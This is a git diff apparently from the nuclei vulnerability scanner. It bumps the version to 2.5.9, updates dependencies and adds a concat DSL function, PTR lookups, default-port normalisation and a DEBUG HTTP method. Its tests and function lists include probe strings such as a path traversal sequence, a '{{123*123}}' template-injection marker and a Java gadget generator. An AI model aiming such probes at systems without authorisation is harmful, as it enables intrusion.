h1:7bwaFH1jvtOo5ndhTQgoA349ozhX+1dc4b6tbaPnBOA= github.com/projectdiscovery/blackrock v0.0.0-20210415162320-b38689ae3a2e/go.mod h1:/IsapnEYiWG+yEDPXp0e8NWj3npzB9Ccy9lXEUJwMZs= github.com/projectdiscovery/clistats v0.0.8 h1:tjmWb15mqsPf/yrQXVHLe2ThZX/5+mgKSfZBKWWLh20= @@ -400,8 +406,8 @@ github.com/projectdiscovery/clistats v0.0.8/go.mod h1:lV6jUHAv2bYWqrQstqW8iVIydK github.com/projectdiscovery/cryptoutil v0.0.0-20210805184155-b5d2512f9345 h1:jT6f/cdOpLkp9GAfRrxk57BUjYfIrR8E+AjMv5H5U4U= github.com/projectdiscovery/cryptoutil v0.0.0-20210805184155-b5d2512f9345/go.mod h1:clhQmPnt35ziJW1AhJRKyu8aygXCSoyWj6dtmZBRjjc= github.com/projectdiscovery/fastdialer v0.0.12/go.mod h1:RkRbxqDCcCFhfNUbkzBIz/ieD4uda2JuUA4WJ+RLee0= -github.com/projectdiscovery/fastdialer v0.0.13 h1:BCe7JsFxRk1kAUQcy4X+9lqEuT7Y6LRSlHXfia03XOo= -github.com/projectdiscovery/fastdialer v0.0.13/go.mod h1:Mex24omi3RxrmhA8Ote7rw+6LWMiaBvbJq8CNp0ksII= +github.com/projectdiscovery/fastdialer v0.0.14 h1:xTcU8c8wTp+AE92TVLINSCvgXsbF0ITera8HfbU1dok= +github.com/projectdiscovery/fastdialer v0.0.14/go.mod h1:Mex24omi3RxrmhA8Ote7rw+6LWMiaBvbJq8CNp0ksII= github.com/projectdiscovery/filekv v0.0.0-20210915124239-3467ef45dd08 h1:NwD1R/du1dqrRKN3SJl9kT6tN3K9puuWFXEvYF2ihew= github.com/projectdiscovery/filekv v0.0.0-20210915124239-3467ef45dd08/go.mod h1:paLCnwV8sL7ppqIwVQodQrk3F6mnWafwTDwRd7ywZwQ= github.com/projectdiscovery/fileutil v0.0.0-20210804142714-ebba15fa53ca/go.mod h1:U+QCpQnX8o2N2w0VUGyAzjM3yBAe4BKedVElxiImsx0= @@ -475,8 +481,8 @@ github.com/segmentio/ksuid v1.0.4 h1:sBo2BdShXjmcugAMwjugoGUdUV0pcxY5mW4xKRn3v4c github.com/segmentio/ksuid v1.0.4/go.mod h1:/XUiZBD3kVx5SmUOl55voK5yeAbBNNIed+2O73XgrPE= github.com/sergi/go-diff v1.0.0/go.mod h1:0CfEIISq7TuYL3j771MWULgwwjU+GofnZX9QAmXWZgo= github.com/shirou/gopsutil/v3 v3.21.7/go.mod h1:RGl11Y7XMTQPmHh8F0ayC6haKNBgH4PXMJuTAcMOlz4= -github.com/shirou/gopsutil/v3 v3.21.9 h1:Vn4MUz2uXhqLSiCbGFRc0DILbMVLAY92DSkT8bsYrHg= -github.com/shirou/gopsutil/v3 v3.21.9/go.mod h1:YWp/H8Qs5fVmf17v7JNZzA0mPJ+mS2e9JdiUF9LlKzQ= +github.com/shirou/gopsutil/v3 v3.21.12 h1:VoGxEW2hpmz0Vt3wUvHIl9fquzYLNpVpgNNB7pGJimA= +github.com/shirou/gopsutil/v3 v3.21.12/go.mod h1:BToYZVTlSVlfazpDDYFnsVZLaoRG+g8ufT6fPQLdJzA= github.com/sirupsen/logrus v1.4.2/go.mod h1:tLMulIdttU9McNUspp0xgXVQah82FyeX6MwdIuYE2rE= github.com/smartystreets/assertions v0.0.0-20180927180507-b2de0cb4f26d/go.mod h1:OnSkiWE9lh6wB0YB77sQom3nweQdgAjqCqsofrRNTgc= github.com/smartystreets/assertions v1.0.0 h1:UVQPSSmc3qtTi+zPPkCXvZX9VvW/xT/NsRvKfwY81a8= @@ -565,8 +571,11 @@ github.com/yuin/goldmark v1.1.27/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9de github.com/yuin/goldmark v1.1.32/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74= github.com/yuin/goldmark v1.2.1/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74= github.com/yuin/goldmark v1.3.5/go.mod h1:mwnBkeHKe2W/ZEtQ+71ViKU8L12m81fl3OWwC1Zlc8k= -github.com/zclconf/go-cty v1.8.4 h1:pwhhz5P+Fjxse7S7UriBrMu6AUJSZM5pKqGem1PjGAs= +github.com/yusufpapurcu/wmi v1.2.2 h1:KBNDSne4vP5mbSWnJbO+51IMOXJB67QiYCSBrubbPRg= +github.com/yusufpapurcu/wmi v1.2.2/go.mod h1:SBZ9tNy3G9/m5Oi98Zks0QjeHVDvuK0qfxQmPyzfmi0= github.com/zclconf/go-cty v1.8.4/go.mod h1:vVKLxnk3puL4qRAv72AO+W99LUD4da90g3uUAzyuvAk= +github.com/zclconf/go-cty v1.10.0 h1:mp9ZXQeIcN8kAwuqorjH+Q+njbJKjLrvB2yIh4q7U+0= +github.com/zclconf/go-cty v1.10.0/go.mod h1:vVKLxnk3puL4qRAv72AO+W99LUD4da90g3uUAzyuvAk= go.etcd.io/bbolt v1.3.5/go.mod h1:G5EMThwa9y8QZGBClrRx5EY+Yw9kAhnjy3bSjsnlVTQ= go.etcd.io/bbolt v1.3.6 h1:/ecaJf0sk1l4l6V4awd65v2C3ILy7MSj+s/x1ADCIMU= go.etcd.io/bbolt v1.3.6/go.mod h1:qXsaaIqmgQH0T+OPdb99Bf+PKfBBQVAdyD6TY9G8XM4= @@ -681,13 +690,12 @@ golang.org/x/net v0.0.0-20210414194228-064579744ee0/go.mod h1:9tjilg8BloeKEkVJvy golang.org/x/net v0.0.0-20210428140749-89ef3d95e781/go.mod h1:OJAsFXCWl8Ukc7SiCT/9KSuxbyM7479/AVlXFRxuMCk= golang.org/x/net v0.0.0-20210521195947-fe42d452be8f/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y= golang.org/x/net v0.0.0-20210525063256-abc453219eb5/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y= -golang.org/x/net v0.0.0-20210614182718-04defd469f4e/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y= golang.org/x/net v0.0.0-20210726213435-c6fcb2dbf985/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y= golang.org/x/net v0.0.0-20210813160813-60bc85c4be6d/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y= golang.org/x/net v0.0.0-20210825183410-e898025ed96a/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y= golang.org/x/net v0.0.0-20210916014120-12bc252f5db8/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y= -golang.org/x/net v0.0.0-20211112202133-69e39bad7dc2 h1:CIJ76btIcR3eFI5EgSo6k1qKw9KJexJuRLI9G7Hp5wE= -golang.org/x/net v0.0.0-20211112202133-69e39bad7dc2/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y= +golang.org/x/net v0.0.0-20211216030914-fe4d6282115f h1:hEYJvxw1lSnWIl8X9ofsYMklzaDs90JI2az5YMd4fPM= +golang.org/x/net v0.0.0-20211216030914-fe4d6282115f/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y= golang.org/x/oauth2 v0.0.0-20180821212333-d2e6202438be/go.mod h1:N/0e6XlmueqKjAGxoOufVs8QHGRruUQn6yWY3a++T0U= golang.org/x/oauth2 v0.0.0-20181106182150-f42d05182288/go.mod h1:N/0e6XlmueqKjAGxoOufVs8QHGRruUQn6yWY3a++T0U= golang.org/x/oauth2 v0.0.0-20190226205417-e64efc72b421/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw= @@ -749,6 +757,7 @@ golang.org/x/sys v0.0.0-20200923182605-d9f96fdee20d/go.mod h1:h1NjWce9XRLGQEsW7w golang.org/x/sys v0.0.0-20200930185726-fdedc70b468f/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20201113233024-12cec1faf1ba/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20201204225414-ed752295db88/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20201207223542-d4d67f95c62d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20210112080510-489259a85091/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20210119212857-b64e53b001e4/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= @@ -764,8 +773,9 @@ golang.org/x/sys v0.0.0-20210630005230-0f9fa26af87c/go.mod h1:oPkhp1MJrh7nUepCBc golang.org/x/sys v0.0.0-20210806184541-e5e7981a1069/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20210816074244-15123e1e1f71/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20210823070655-63515b42dcdf/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.0.0-20210831042530-f4d43177bf5e/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20210915083310-ed5796bab164/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20211013075003-97ac67df715c/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20211124211545-fe61309f8881/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20211210111614-af8b64212486 h1:5hpz5aRr+W1erYCL5JRhSUBJRph7l9XkNveoExlrKYk= golang.org/x/sys v0.0.0-20211210111614-af8b64212486/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo= diff --git a/v2/internal/colorizer/colorizer.go b/v2/internal/colorizer/colorizer.go index b43bbdb3..f9a32e86 100644 --- a/v2/internal/colorizer/colorizer.go +++ b/v2/internal/colorizer/colorizer.go @@ -5,7 +5,6 @@ import ( "github.com/logrusorgru/aurora" - "github.com/projectdiscovery/gologger" "github.com/projectdiscovery/nuclei/v2/pkg/model/types/severity" ) @@ -27,7 +26,6 @@ func GetColor(colorizer aurora.Aurora, templateSeverity fmt.Stringer) string { case severity.Critical: method = colorizer.Red default: - gologger.Warning().Msgf("The '%s' severity does not have an color associated!", templateSeverity) method = colorizer.White } diff --git a/v2/internal/runner/runner.go b/v2/internal/runner/runner.go index ce463730..4d8c0148 100644 --- a/v2/internal/runner/runner.go +++ b/v2/internal/runner/runner.go @@ -38,6 +38,7 @@ import ( "github.com/projectdiscovery/nuclei/v2/pkg/utils" "github.com/projectdiscovery/nuclei/v2/pkg/utils/stats" yamlwrapper "github.com/projectdiscovery/nuclei/v2/pkg/utils/yaml" + "github.com/projectdiscovery/stringsutil" ) // Runner is a client for running the enumeration process. @@ -345,7 +346,7 @@ func (r *Runner) RunEnumeration() error { if len(t.Workflows) > 0 { continue } - totalRequests += int64(t.TotalRequests) * r.hmapInputProvider.Count() + totalRequests += int64(t.Executer.Requests()) * r.hmapInputProvider.Count() } if totalRequests < unclusteredRequests { gologger.Info().Msgf("Templates clustered: %d (Reduced %d HTTP Requests)", clusterCount, unclusteredRequests-totalRequests) @@ -452,7 +453,9 @@ func (r *Runner) readNewTemplatesFile() ([]string, error) { if text == "" { continue } - templatesList = append(templatesList, text) + if isNewTemplate(text) { + templatesList = append(templatesList, text) + } } return templatesList, nil } @@ -476,11 +479,19 @@ func (r *Runner) countNewTemplates() int { if text == "" { continue } - count++ + + if isNewTemplate(text) { + count++ + } + } return count } +func isNewTemplate(filename string) bool { + return stringsutil.EqualFoldAny(filepath.Ext(filename), templates.TemplateExtension) +} + // SaveResumeConfig to file func (r *Runner) SaveResumeConfig() error { resumeCfg := types.NewResumeCfg() diff --git a/v2/pkg/catalog/config/config.go b/v2/pkg/catalog/config/config.go index 283a8d4f..3763fff1 100644 --- a/v2/pkg/catalog/config/config.go +++ b/v2/pkg/catalog/config/config.go @@ -27,7 +27,7 @@ type Config struct { const nucleiConfigFilename = ".templates-config.json" // Version is the current version of nuclei -const Version = `2.5.8` +const Version = `2.5.9` func getConfigDetails() (string, error) { homeDir, err := os.UserHomeDir() diff --git a/v2/pkg/catalog/loader/loader.go b/v2/pkg/catalog/loader/loader.go index b4eec967..2276445d 100644 --- a/v2/pkg/catalog/loader/loader.go +++ b/v2/pkg/catalog/loader/loader.go @@ -13,6 +13,7 @@ import ( templateTypes "github.com/projectdiscovery/nuclei/v2/pkg/templates/types" "github.com/projectdiscovery/nuclei/v2/pkg/types" "github.com/projectdiscovery/nuclei/v2/pkg/utils/stats" + "github.com/projectdiscovery/nuclei/v2/pkg/workflows" ) // Config contains the configuration options for the loader @@ -196,10 +197,31 @@ func areWorkflowOrTemplatesValid(store *Store, filteredTemplatePaths map[string] return true } } + if isWorkflow { + if !areWorkflowTemplatesValid(store, template.Workflows) { + areTemplatesValid = false + continue + } + } } return areTemplatesValid } +func areWorkflowTemplatesValid(store *Store, workflows []*workflows.WorkflowTemplate) bool { + for _, workflow := range workflows { + if !areWorkflowTemplatesValid(store, workflow.Subtemplates) { + return false + } + _, err := store.config.Catalog.GetTemplatePath(workflow.Template) + if err != nil { + if isParsingError("Error occurred loading template %s: %s\n", workflow.Template, err) { + return false + } + } + } + return true +} + func isParsingError(message string, template string, err error) bool { if err == templates.ErrCreateTemplateExecutor { return false diff --git a/v2/pkg/operators/common/dsl/dsl.go b/v2/pkg/operators/common/dsl/dsl.go index 03f5da99..343cd36e 100644 --- a/v2/pkg/operators/common/dsl/dsl.go +++ b/v2/pkg/operators/common/dsl/dsl.go @@ -160,6 +160,16 @@ func init() { "contains": makeDslFunction(2, func(args ...interface{}) (interface{}, error) { return strings.Contains(types.ToString(args[0]), types.ToString(args[1])), nil }), + "concat": makeDslWithOptionalArgsFunction( + "(args ...interface{}) string", + func(arguments ...interface{}) (interface{}, error) { + builder := &strings.Builder{} + for _, argument := range arguments { + builder.WriteString(types.ToString(argument)) + } + return builder.String(), nil + }, + ), "regex": makeDslFunction(2, func(args ...interface{}) (interface{}, error) { compiled, err := regexp.Compile(types.ToString(args[0])) if err != nil { diff --git a/v2/pkg/operators/common/dsl/dsl_test.go b/v2/pkg/operators/common/dsl/dsl_test.go index 946a9b40..c49bffda 100644 --- a/v2/pkg/operators/common/dsl/dsl_test.go +++ b/v2/pkg/operators/common/dsl/dsl_test.go @@ -98,6 +98,7 @@ func TestGetPrintableDslFunctionSignatures(t *testing.T) { expected := ` base64(arg1 interface{}) interface{} base64_decode(arg1 interface{}) interface{} base64_py(arg1 interface{}) interface{} + concat(args ...interface{}) string contains(arg1, arg2 interface{}) interface{} generate_java_gadget(arg1, arg2, arg3 interface{}) interface{} gzip(arg1 interface{}) interface{} @@ -161,6 +162,7 @@ func TestDslExpressions(t *testing.T) { `mmh3("Hello")`: "316307400", `remove_bad_chars("abcd", "bc")`: "ad", `replace("Hello", "He", "Ha")`: "Hallo", + `concat("Hello", 123, "world")`: "Hello123world", `repeat("a", 5)`: "aaaaa", `repeat("a", "5")`: "aaaaa", `repeat("../", "5")`: "../../../../../", diff --git a/v2/pkg/operators/matchers/matchers_types.go b/v2/pkg/operators/matchers/matchers_types.go index 14b5c507..bd881075 100644 --- a/v2/pkg/operators/matchers/matchers_types.go +++ b/v2/pkg/operators/matchers/matchers_types.go @@ -83,7 +83,7 @@ func (holder MatcherTypeHolder) JSONSchemaType() *jsonschema.Type { gotType := &jsonschema.Type{ Type: "string", Title: "type of the matcher", - Description: "Type of the matcher,enum=status,enum=size,enum=word,enum=regex,enum=binary,enum=dsl", + Description: "Type of the matcher", } for _, types := range GetSupportedMatcherTypes() { gotType.Enum = append(gotType.Enum, types.String()) diff --git a/v2/pkg/protocols/common/expressions/expressions_test.go b/v2/pkg/protocols/common/expressions/expressions_test.go index f2d5ec1c..668b3b45 100644 --- a/v2/pkg/protocols/common/expressions/expressions_test.go +++ b/v2/pkg/protocols/common/expressions/expressions_test.go @@ -14,6 +14,19 @@ func TestEvaluate(t *testing.T) { }{ {input: "{{url_encode('test}aaa')}}", expected: "test%7Daaa", extra: map[string]interface{}{}}, {input: "{{hex_encode('PING')}}", expected: "50494e47", extra: map[string]interface{}{}}, + // TODO #1501 + //{input: "{{hex_encode('{{')}}", expected: "7b7b", extra: map[string]interface{}{}}, + //{input: `{{concat("{{", 123, "*", 123, "}}")}}`, expected: "{{123*123}}", extra: map[string]interface{}{}}, + //{input: `{{concat("{{", "123*123", "}}")}}`, expected: "{{123*123}}", extra: map[string]interface{}{}}, + //{input: `{{"{{" + '123*123' + "}}"}}`, expected: "{{123*123}}", extra: map[string]interface{}{}}, + {input: `{{concat(123,'*',123)}}`, expected: "123*123", extra: map[string]interface{}{}}, + {input: `{{1+1}}`, expected: "2", extra: map[string]interface{}{}}, + {input: `{{"1"+"1"}}`, expected: "11", extra: map[string]interface{}{}}, + {input: `{{"1" + '*' + "1"}}`, expected: "1*1", extra: map[string]interface{}{}}, + {input: `{{"a" + 'b' + "c"}}`, expected: "abc", extra: map[string]interface{}{}}, + {input: `{{10*2}}`, expected: "20", extra: map[string]interface{}{}}, + {input: `{{10/2}}`, expected: "5", extra: map[string]interface{}{}}, + {input: `{{10-2}}`, expected: "8", extra: map[string]interface{}{}}, {input: "test", expected: "test", extra: map[string]interface{}{}}, {input: "{{hex_encode(Item)}}", expected: "50494e47", extra: map[string]interface{}{"Item": "PING"}}, {input: "{{hex_encode(Item)}}\r\n", expected: "50494e47\r\n", extra: map[string]interface{}{"Item": "PING"}}, diff --git a/v2/pkg/protocols/common/expressions/variables.go b/v2/pkg/protocols/common/expressions/variables.go index d064d577..c16a80d2 100644 --- a/v2/pkg/protocols/common/expressions/variables.go +++ b/v2/pkg/protocols/common/expressions/variables.go @@ -6,7 +6,7 @@ import ( "strings" ) -var unresolvedVariablesRegex = regexp.MustCompile(`(?:%7[B|b]|{){2}([^}]+)(?:%7[D|d]|}){2}["')}]*`) +var unresolvedVariablesRegex = regexp.MustCompile(`(?:%7[B|b]|\{){2}([^}]+)(?:%7[D|d]|\}){2}["'\)\}]*`) // ContainsUnresolvedVariables returns an error with variable names if the passed // input contains unresolved {{}} variables. diff --git a/v2/pkg/protocols/dns/dns.go b/v2/pkg/protocols/dns/dns.go index 55be679a..31adee9e 100644 --- a/v2/pkg/protocols/dns/dns.go +++ b/v2/pkg/protocols/dns/dns.go @@ -1,7 +1,6 @@ package dns import ( - "net" "strings" "github.com/miekg/dns" @@ -9,6 +8,7 @@ import ( "github.com/weppos/publicsuffix-go/publicsuffix" + "github.com/projectdiscovery/iputil" "github.com/projectdiscovery/nuclei/v2/pkg/operators" "github.com/projectdiscovery/nuclei/v2/pkg/protocols" "github.com/projectdiscovery/nuclei/v2/pkg/protocols/common/expressions" @@ -170,11 +170,21 @@ func (request *Request) Requests() int { } // Make returns the request to be sent for the protocol -func (request *Request) Make(domain string) (*dns.Msg, error) { - if request.question != dns.TypePTR && net.ParseIP(domain) != nil { - return nil, errors.New("cannot use IP address as DNS input") +func (request *Request) Make(host string) (*dns.Msg, error) { + isIP := iputil.IsIP(host) + switch { + case request.question == dns.TypePTR && isIP: + var err error + host, err = dns.ReverseAddr(host) + if err != nil { + return nil, err + } + default: + if isIP { + return nil, errors.New("cannot use IP address as DNS input") + } + host = dns.Fqdn(host) } - domain = dns.Fqdn(domain) // Build a request on the specified URL req := new(dns.Msg) @@ -183,7 +193,7 @@ func (request *Request) Make(domain string) (*dns.Msg, error) { var q dns.Question - final := replacer.Replace(request.Name, generateDNSVariables(domain)) + final := replacer.Replace(request.Name, GenerateDNSVariables(host)) q.Name = dns.Fqdn(final) q.Qclass = request.class @@ -250,7 +260,8 @@ func classToInt(class string) uint16 { return uint16(result) } -func generateDNSVariables(domain string) map[string]interface{} { +// GenerateDNSVariables from a dns name +func GenerateDNSVariables(domain string) map[string]interface{} { parsed, err := publicsuffix.Parse(strings.TrimSuffix(domain, ".")) if err != nil { return map[string]interface{}{"FQDN": domain} diff --git a/v2/pkg/protocols/dns/dns_test.go b/v2/pkg/protocols/dns/dns_test.go index 0aae3ed2..d5bfbdb1 100644 --- a/v2/pkg/protocols/dns/dns_test.go +++ b/v2/pkg/protocols/dns/dns_test.go @@ -11,7 +11,7 @@ import ( ) func TestGenerateDNSVariables(t *testing.T) { - vars := generateDNSVariables("www.projectdiscovery.io") + vars := GenerateDNSVariables("www.projectdiscovery.io") require.Equal(t, map[string]interface{}{ "FQDN": "www.projectdiscovery.io", "RDN": "projectdiscovery.io", diff --git a/v2/pkg/protocols/dns/dns_types.go b/v2/pkg/protocols/dns/dns_types.go index d61d9b6d..dc0a22d2 100644 --- a/v2/pkg/protocols/dns/dns_types.go +++ b/v2/pkg/protocols/dns/dns_types.go @@ -87,7 +87,7 @@ func (holder DNSRequestTypeHolder) JSONSchemaType() *jsonschema.Type { gotType := &jsonschema.Type{ Type: "string", Title: "type of DNS request to make", - Description: "Type is the type of DNS request to make,enum=A,enum=NS,enum=DS,enum=CNAME,enum=SOA,enum=PTR,enum=MX,enum=TXT,enum=AAAA", + Description: "Type is the type of DNS request to make", } for _, types := range GetSupportedDNSRequestTypes() { gotType.Enum = append(gotType.Enum, types.String()) diff --git a/v2/pkg/protocols/headless/engine/action_types.go b/v2/pkg/protocols/headless/engine/action_types.go index 03fcf2e5..21277d02 100644 --- a/v2/pkg/protocols/headless/engine/action_types.go +++ b/v2/pkg/protocols/headless/engine/action_types.go @@ -175,7 +175,7 @@ func (holder ActionTypeHolder) JSONSchemaType() *jsonschema.Type { gotType := &jsonschema.Type{ Type: "string", Title: "action to perform", - Description: "Type of actions to perform,enum=navigate,enum=script,enum=click,enum=rightclick,enum=text,enum=screenshot,enum=time,enum=select,enum=files,enum=waitload,enum=getresource,enum=extract,enum=setmethod,enum=addheader,enum=setheader,enum=deleteheader,enum=setbody,enum=waitevent,enum=keyboard,enum=debug,enum=sleep", + Description: "Type of actions to perform", } for _, types := range GetSupportedActionTypes() { gotType.Enum = append(gotType.Enum, types.String()) diff --git a/v2/pkg/protocols/http/build_request.go b/v2/pkg/protocols/http/build_request.go index 44622f10..92dd1577 100644 --- a/v2/pkg/protocols/http/build_request.go +++ b/v2/pkg/protocols/http/build_request.go @@ -20,6 +20,7 @@ import ( "github.com/projectdiscovery/nuclei/v2/pkg/protocols/common/expressions" "github.com/projectdiscovery/nuclei/v2/pkg/protocols/common/generators" "github.com/projectdiscovery/nuclei/v2/pkg/protocols/common/replacer" + "github.com/projectdiscovery/nuclei/v2/pkg/protocols/dns" "github.com/projectdiscovery/nuclei/v2/pkg/protocols/http/race" "github.com/projectdiscovery/nuclei/v2/pkg/protocols/http/raw" "github.com/projectdiscovery/nuclei/v2/pkg/types" @@ -335,6 +336,15 @@ func (r *requestGenerator) fillRequest(req *http.Request, values map[string]inte setHeader(req, "Accept", "*/*") setHeader(req, "Accept-Language", "en") } + + if !LeaveDefaultPorts { + switch { + case req.URL.Scheme == "http" && strings.HasSuffix(req.Host, ":80"): + req.Host = strings.TrimSuffix(req.Host, ":80") + case req.URL.Scheme == "https" && strings.HasSuffix(req.Host, ":443"): + req.Host = strings.TrimSuffix(req.Host, ":443") + } + } return retryablehttp.FromRequest(req) } @@ -377,7 +387,7 @@ func generateVariables(parsed *url.URL, trailingSlash bool) map[string]interface if base == "." { base = "" } - return map[string]interface{}{ + httpVariables := map[string]interface{}{ "BaseURL": parsed.String(), "RootURL": fmt.Sprintf("%s://%s", parsed.Scheme, parsed.Host), "Hostname": parsed.Host, @@ -387,4 +397,5 @@ func generateVariables(parsed *url.URL, trailingSlash bool) map[string]interface "File": base, "Scheme": parsed.Scheme, } + return generators.MergeMaps(httpVariables, dns.GenerateDNSVariables(domain)) } diff --git a/v2/pkg/protocols/http/http.go b/v2/pkg/protocols/http/http.go index 7ac9b36f..54f56793 100644 --- a/v2/pkg/protocols/http/http.go +++ b/v2/pkg/protocols/http/http.go @@ -298,7 +298,13 @@ func (request *Request) Compile(options *protocols.ExecuterOptions) error { // Requests returns the total number of requests the YAML rule will perform func (request *Request) Requests() int { if request.generator != nil { - payloadRequests := request.generator.NewIterator().Total() * len(request.Raw) + payloadRequests := request.generator.NewIterator().Total() + if len(request.Raw) > 0 { + payloadRequests = payloadRequests * len(request.Raw) + } + if len(request.Path) > 0 { + payloadRequests = payloadRequests * len(request.Path) + } return payloadRequests } if len(request.Raw) > 0 { diff --git a/v2/pkg/protocols/http/http_method_types.go b/v2/pkg/protocols/http/http_method_types.go index 68dd50b7..6b63175f 100644 --- a/v2/pkg/protocols/http/http_method_types.go +++ b/v2/pkg/protocols/http/http_method_types.go @@ -33,6 +33,8 @@ const ( HTTPPatch // name:PURGE HTTPPurge + // name:Debug + HTTPDebug limit ) @@ -48,6 +50,7 @@ var HTTPMethodMapping = map[HTTPMethodType]string{ HTTPTrace: "TRACE", HTTPPatch: "PATCH", HTTPPurge: "PURGE", + HTTPDebug: "DEBUG", } // GetSupportedHTTPMethodTypes returns list of supported types @@ -90,7 +93,7 @@ func (holder HTTPMethodTypeHolder) JSONSchemaType() *jsonschema.Type { gotType := &jsonschema.Type{ Type: "string", Title: "method is the HTTP request method", - Description: "Method is the HTTP Request Method,enum=GET,enum=HEAD,enum=POST,enum=PUT,enum=DELETE,enum=CONNECT,enum=OPTIONS,enum=TRACE,enum=PATCH,enum=PURGE", + Description: "Method is the HTTP Request Method", } for _, types := range GetSupportedHTTPMethodTypes() { gotType.Enum = append(gotType.Enum, types.String()) diff --git a/v2/pkg/protocols/http/request.go b/v2/pkg/protocols/http/request.go index 32ca595b..c4dccaf9 100644 --- a/v2/pkg/protocols/http/request.go +++ b/v2/pkg/protocols/http/request.go @@ -457,7 +457,7 @@ func (request *Request) executeRequest(reqURL string, generatedRequest *generate }() var curlCommand string - if !request.Unsafe && resp != nil && generatedRequest.request != nil && resp.Request != nil { + if !request.Unsafe && resp != nil && generatedRequest.request != nil && resp.Request != nil && !request.Race { bodyBytes, _ := generatedRequest.request.BodyBytes() resp.Request.Body = ioutil.NopCloser(bytes.NewReader(bodyBytes)) command, _ := http2curl.GetCurlCommand(resp.Request) diff --git a/v2/pkg/protocols/http/request_generator.go b/v2/pkg/protocols/http/request_generator.go index 78337583..83abd3df 100644 --- a/v2/pkg/protocols/http/request_generator.go +++ b/v2/pkg/protocols/http/request_generator.go @@ -19,6 +19,9 @@ type requestGenerator struct { interactshURLs []string } +// LeaveDefaultPorts skips normalization of default standard ports +var LeaveDefaultPorts = false + // newGenerator creates a new request generator instance func (request *Request) newGenerator() *requestGenerator { generator := &requestGenerator{request: request, options: request.options} diff --git a/v2/pkg/protocols/network/network_input_types.go b/v2/pkg/protocols/network/network_input_types.go index 1d7543f2..694d58c6 100644 --- a/v2/pkg/protocols/network/network_input_types.go +++ b/v2/pkg/protocols/network/network_input_types.go @@ -70,7 +70,7 @@ func (holder NetworkInputTypeHolder) JSONSchemaType() *jsonschema.Type { gotType := &jsonschema.Type{ Type: "string", Title: "type is the type of input data", - Description: "description=Type of input specified in data field,enum=hex,enum=text", + Description: "description=Type of input specified in data field", } for _, types := range GetSupportedNetworkInputTypes() { gotType.Enum = append(gotType.Enum, types.String()) diff --git a/v2/pkg/templates/templates.go b/v2/pkg/templates/templates.go index ce3bdcaf..2680392b 100644 --- a/v2/pkg/templates/templates.go +++ b/v2/pkg/templates/templates.go @@ -21,6 +21,11 @@ import ( "gopkg.in/yaml.v2" ) +const ( + // TemplateExtension defines the template default file extension + TemplateExtension = ".yaml" +) + // Template is a YAML input file which defines all the requests and // other metadata for a template. type Template struct { diff --git a/v2/pkg/templates/templates_doc.go b/v2/pkg/templates/templates_doc.go index 4abe1612..024408d5 100644 --- a/v2/pkg/templates/templates_doc.go +++ b/v2/pkg/templates/templates_doc.go @@ -922,6 +922,7 @@ func init() { "TRACE", "PATCH", "PURGE", + "Debug", } SignatureTypeHolderDoc.Type = "SignatureTypeHolder" diff --git a/v2/pkg/types/types.go b/v2/pkg/types/types.go index 639b549f..64588f32 100644 --- a/v2/pkg/types/types.go +++ b/v2/pkg/types/types.go @@ -139,6 +139,8 @@ type Options struct { DebugRequests bool // DebugResponse mode allows debugging response for the engine DebugResponse bool + // LeaveDefaultPorts skips normalization of default ports + LeaveDefaultPorts bool // Silent suppresses any extra text and only writes found URLs on screen. Silent bool // Version specifies if we should just show version and exit